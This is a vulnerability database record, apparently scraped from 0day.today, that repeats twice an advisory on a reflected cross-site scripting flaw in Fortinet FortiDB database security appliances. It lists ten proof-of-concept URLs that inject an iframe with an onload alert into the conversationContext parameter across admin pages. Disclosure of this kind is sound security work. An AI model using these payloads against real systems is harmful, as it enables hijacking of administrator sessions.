{"published": "2012-10-31T00:00:00", "id": "1337DAY-ID-19873", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [{"differentElements": ["sourceHref", "sourceData", "href"], "edition": 1, "lastseen": "2016-04-20T01:33:39", "bulletin": {"published": "2012-10-31T00:00:00", "id": "1337DAY-ID-19873", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"score": {"value": 4.1, "modified": "2016-04-20T01:33:39"}}, "hash": "fa0620e0d35f3d1603f85c3c1d14bde6c581e7f292e122c74c6b4252b47660da", "description": "FortiGate FortiDB 2kB 1kC and 400B suffer from a cross site scripting vulnerability.", "type": "zdt", "lastseen": "2016-04-20T01:33:39", "edition": 1, "title": "FortiGate FortiDB 2kB 1kC / 400B Cross Site Scripting", "href": "http://0day.today/exploit/description/19873", "modified": "2012-10-31T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": [], "sourceHref": "http://0day.today/exploit/19873", "references": [], "reporter": "n/a", "sourceData": "FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability\r\n\r\nIntroduction:\r\n=============\r\nTargeting large enterprises the FortiDB-2000B appliance provides scalable database security and \r\ncompliance solution. Utilizing its flexible policy framework, the FortiDB-2000B allows quick and \r\neasy implementation of internal IT control frameworks for database activity monitoring (DAM/DAA), \r\nIT audit, and regulatory compliance.\r\n\r\nDesigned for mid-sized enterprises, the FortiDB-1000C appliance provides a comprehensive database \r\nsecurity and compliance solution. Through its web-based interface, the FortiDB-1000C centrally \r\nmonitors, audits and scans multiple distributed, heterogeneous databases. This ensures consistent \r\ndatabase security policies across the organization without imposing high management burdens on your \r\ndatabase admin and IT staff. \r\n\r\nThe FortiDB-400B appliance provides a cost effective database security and compliance solution for \r\nsmall to mid-size enterprises in a quick to implement, easy to manage package. It scans databases \r\nfor vulnerabilities, monitors, and audits databases activities, and generates compliance reports. \r\nIts intuitive web-based interface ensures ease of configuration, minimizing the management burden \r\non your database administrators and IT staff.\r\n\r\n(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortidb )\r\n\r\n\r\nCross Site Scripting Vulnerability in FortiGates FortiDB 2kB 1kC & 400B.\r\n\r\nAffected Products:\r\n==================\r\nFortigate\r\nProduct: FortiDB - Database Security Appliance v2000B; 1000C & 400B\r\n\r\nDetails:\r\n========\r\nA non-persistent input validation vulnerability is detected in FortiGates FortiDB Appliance 2000B 1000C & 400B. \r\nThe vulnerability allows remote attackers to implement/inject malicious script code on the application side (persistent). \r\nThe vulnerability is located in the Java Number Format Exception Handling module with the bound vulnerable output listing. \r\nThe bug is on application side & the execution is non-persistent out of the object exception-handling web application \r\nappliance context. Exploitation requires low or medium user inter action. Successful exploitation of the vulnerability can \r\nlead to session hijacking (manager/admin) or stable (persistent) context manipulation. \r\n\r\nVulnerable Module(s):\r\n [+] Java Number Format Exception Handling\r\n\r\nAffected Function(s):\r\n [+] (Output) Listing\r\n\r\n\r\nProof of Concept:\r\n=================\r\nThe vulnerability can be exploited by remote attacker with medium or high required user inter action. For demonstration or reproduce ...\r\n\r\nReview: Java Number Format Exception-Handling - Listing [Output] Error\r\n\r\n<pre class=\"errorExceptionCause\">java.lang.NumberFormatException: \r\nFor input string: \"\"><[NON PERSISTENT SCRIPT CODE!]\")' <\"=\"\" at=\"\" java.lang.numberformatexception.\r\nforinputstring(numberformatexception.java:48)=\"\" java.lang.long.parselong(long.java:410)=\"\" \r\norg.apache.myfaces.orchestra.conversation.conversationmanager.findconversationcontextid(conversationmanager.java:157)=\"\" \r\norg.apache.myfaces.orchestra.conversation.conversationmanager.getcurrentrootconversationcontext(conversationmanager.java:564)=\"\" \r\norg.apache.myfaces.orchestra.lib.jsf.contextlockrequesthandler.init(contextlockrequesthandler.java:87)=\"\" \r\norg.apache.myfaces.orchestra.lib.jsf.orchestrafacescontextfactory$1.<init=\"\">\r\n(OrchestraFacesContextFactory.java:119)\r\nat ...\r\n\r\n\r\nPoC:\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/admin/auditTrail.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/targetsMonitorView.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vascan/globalsummary.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vaerrorlog/vaErrorLog.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/database/listTargetGroups.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/sysconfig/listSystemInfo.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vascan/list.jsf?conversationContext=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/network/router.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/editPolicyProfile.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/maPolicyMasterList.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\n\r\n\r\nSolution:\r\n=========\r\nThe vulnerability can be prevented by parsing the java number format exception output listing & mkey application value.\r\n\r\n2012-10-24: Vendor Fix/Patch\r\n\r\n\r\nRisk:\r\n=====\r\nThe security risk of the non-persistent cross site scripting vulnerability is estimated as medium(-).\n\n# 0day.today [2016-04-20] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "274b68192b056e268f128ff63bfcd4a4", "key": "reporter"}, {"hash": "3a3885fa4599a1689e815d78994cdd57", "key": "modified"}, {"hash": "3a3885fa4599a1689e815d78994cdd57", "key": "published"}, {"hash": "db9ad6f05877c09efa37eef3151bbf74", "key": "sourceHref"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "067d9a320946edc5b1aef4eb4e893ac2", "key": "href"}, {"hash": "77c9bc521da88a256a4504f504bdc8c8", "key": "sourceData"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "b3eb90685a8b4fca6b1a5be6f18c1d25", "key": "title"}, {"hash": "b421e3db642ea72f118665a58eb2b822", "key": "description"}], "objectVersion": "1.0"}}], "description": "FortiGate FortiDB 2kB 1kC and 400B suffer from a cross site scripting vulnerability.", "hash": "76e66b63e58132267edc98d59d36ff61c63e0b8dec44ea1c5efd56d23d0a85e7", "enchantments": {"vulnersScore": 4.3}, "type": "zdt", "lastseen": "2018-01-10T17:34:22", "edition": 2, "title": "FortiGate FortiDB 2kB 1kC / 400B Cross Site Scripting", "href": "https://0day.today/exploit/description/19873", "modified": "2012-10-31T00:00:00", "bulletinFamily": "exploit", "viewCount": 1, "cvelist": [], "sourceHref": "https://0day.today/exploit/19873", "references": [], "reporter": "n/a", "sourceData": "FortiGate FortiDB 2kB 1kC & 400B - Cross Site Vulnerability\r\n\r\nIntroduction:\r\n=============\r\nTargeting large enterprises the FortiDB-2000B appliance provides scalable database security and \r\ncompliance solution. Utilizing its flexible policy framework, the FortiDB-2000B allows quick and \r\neasy implementation of internal IT control frameworks for database activity monitoring (DAM/DAA), \r\nIT audit, and regulatory compliance.\r\n\r\nDesigned for mid-sized enterprises, the FortiDB-1000C appliance provides a comprehensive database \r\nsecurity and compliance solution. Through its web-based interface, the FortiDB-1000C centrally \r\nmonitors, audits and scans multiple distributed, heterogeneous databases. This ensures consistent \r\ndatabase security policies across the organization without imposing high management burdens on your \r\ndatabase admin and IT staff. \r\n\r\nThe FortiDB-400B appliance provides a cost effective database security and compliance solution for \r\nsmall to mid-size enterprises in a quick to implement, easy to manage package. It scans databases \r\nfor vulnerabilities, monitors, and audits databases activities, and generates compliance reports. \r\nIts intuitive web-based interface ensures ease of configuration, minimizing the management burden \r\non your database administrators and IT staff.\r\n\r\n(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortidb )\r\n\r\n\r\nCross Site Scripting Vulnerability in FortiGates FortiDB 2kB 1kC & 400B.\r\n\r\nAffected Products:\r\n==================\r\nFortigate\r\nProduct: FortiDB - Database Security Appliance v2000B; 1000C & 400B\r\n\r\nDetails:\r\n========\r\nA non-persistent input validation vulnerability is detected in FortiGates FortiDB Appliance 2000B 1000C & 400B. \r\nThe vulnerability allows remote attackers to implement/inject malicious script code on the application side (persistent). \r\nThe vulnerability is located in the Java Number Format Exception Handling module with the bound vulnerable output listing. \r\nThe bug is on application side & the execution is non-persistent out of the object exception-handling web application \r\nappliance context. Exploitation requires low or medium user inter action. Successful exploitation of the vulnerability can \r\nlead to session hijacking (manager/admin) or stable (persistent) context manipulation. \r\n\r\nVulnerable Module(s):\r\n [+] Java Number Format Exception Handling\r\n\r\nAffected Function(s):\r\n [+] (Output) Listing\r\n\r\n\r\nProof of Concept:\r\n=================\r\nThe vulnerability can be exploited by remote attacker with medium or high required user inter action. For demonstration or reproduce ...\r\n\r\nReview: Java Number Format Exception-Handling - Listing [Output] Error\r\n\r\n<pre class=\"errorExceptionCause\">java.lang.NumberFormatException: \r\nFor input string: \"\"><[NON PERSISTENT SCRIPT CODE!]\")' <\"=\"\" at=\"\" java.lang.numberformatexception.\r\nforinputstring(numberformatexception.java:48)=\"\" java.lang.long.parselong(long.java:410)=\"\" \r\norg.apache.myfaces.orchestra.conversation.conversationmanager.findconversationcontextid(conversationmanager.java:157)=\"\" \r\norg.apache.myfaces.orchestra.conversation.conversationmanager.getcurrentrootconversationcontext(conversationmanager.java:564)=\"\" \r\norg.apache.myfaces.orchestra.lib.jsf.contextlockrequesthandler.init(contextlockrequesthandler.java:87)=\"\" \r\norg.apache.myfaces.orchestra.lib.jsf.orchestrafacescontextfactory$1.<init=\"\">\r\n(OrchestraFacesContextFactory.java:119)\r\nat ...\r\n\r\n\r\nPoC:\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/admin/auditTrail.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/targetsMonitorView.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vascan/globalsummary.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vaerrorlog/vaErrorLog.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/database/listTargetGroups.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/sysconfig/listSystemInfo.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/vascan/list.jsf?conversationContext=1%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/network/router.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/editPolicyProfile.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\nhttp://utm-waf.127.0.0.1:1339/fortidb/mapolicymgmt/maPolicyMasterList.jsf?conversationContext=%22%3E%3Ciframe%20src=a%20onload=alert%28%22VL%22%29%20%3C\r\n\r\n\r\nSolution:\r\n=========\r\nThe vulnerability can be prevented by parsing the java number format exception output listing & mkey application value.\r\n\r\n2012-10-24: Vendor Fix/Patch\r\n\r\n\r\nRisk:\r\n=====\r\nThe security risk of the non-persistent cross site scripting vulnerability is estimated as medium(-).\n\n# 0day.today [2018-01-10] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "b421e3db642ea72f118665a58eb2b822", "key": "description"}, {"hash": "ac586e71d37d1163000b1abb48b6ad56", "key": "href"}, {"hash": "3a3885fa4599a1689e815d78994cdd57", "key": "modified"}, {"hash": "3a3885fa4599a1689e815d78994cdd57", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "274b68192b056e268f128ff63bfcd4a4", "key": "reporter"}, {"hash": "e1fbfe6b219703dfccf15ee442ebb46c", "key": "sourceData"}, {"hash": "b9847cf20b1bd67b5914cfa768cc690f", "key": "sourceHref"}, {"hash": "b3eb90685a8b4fca6b1a5be6f18c1d25", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "objectVersion": "1.3"}

{"result": {}}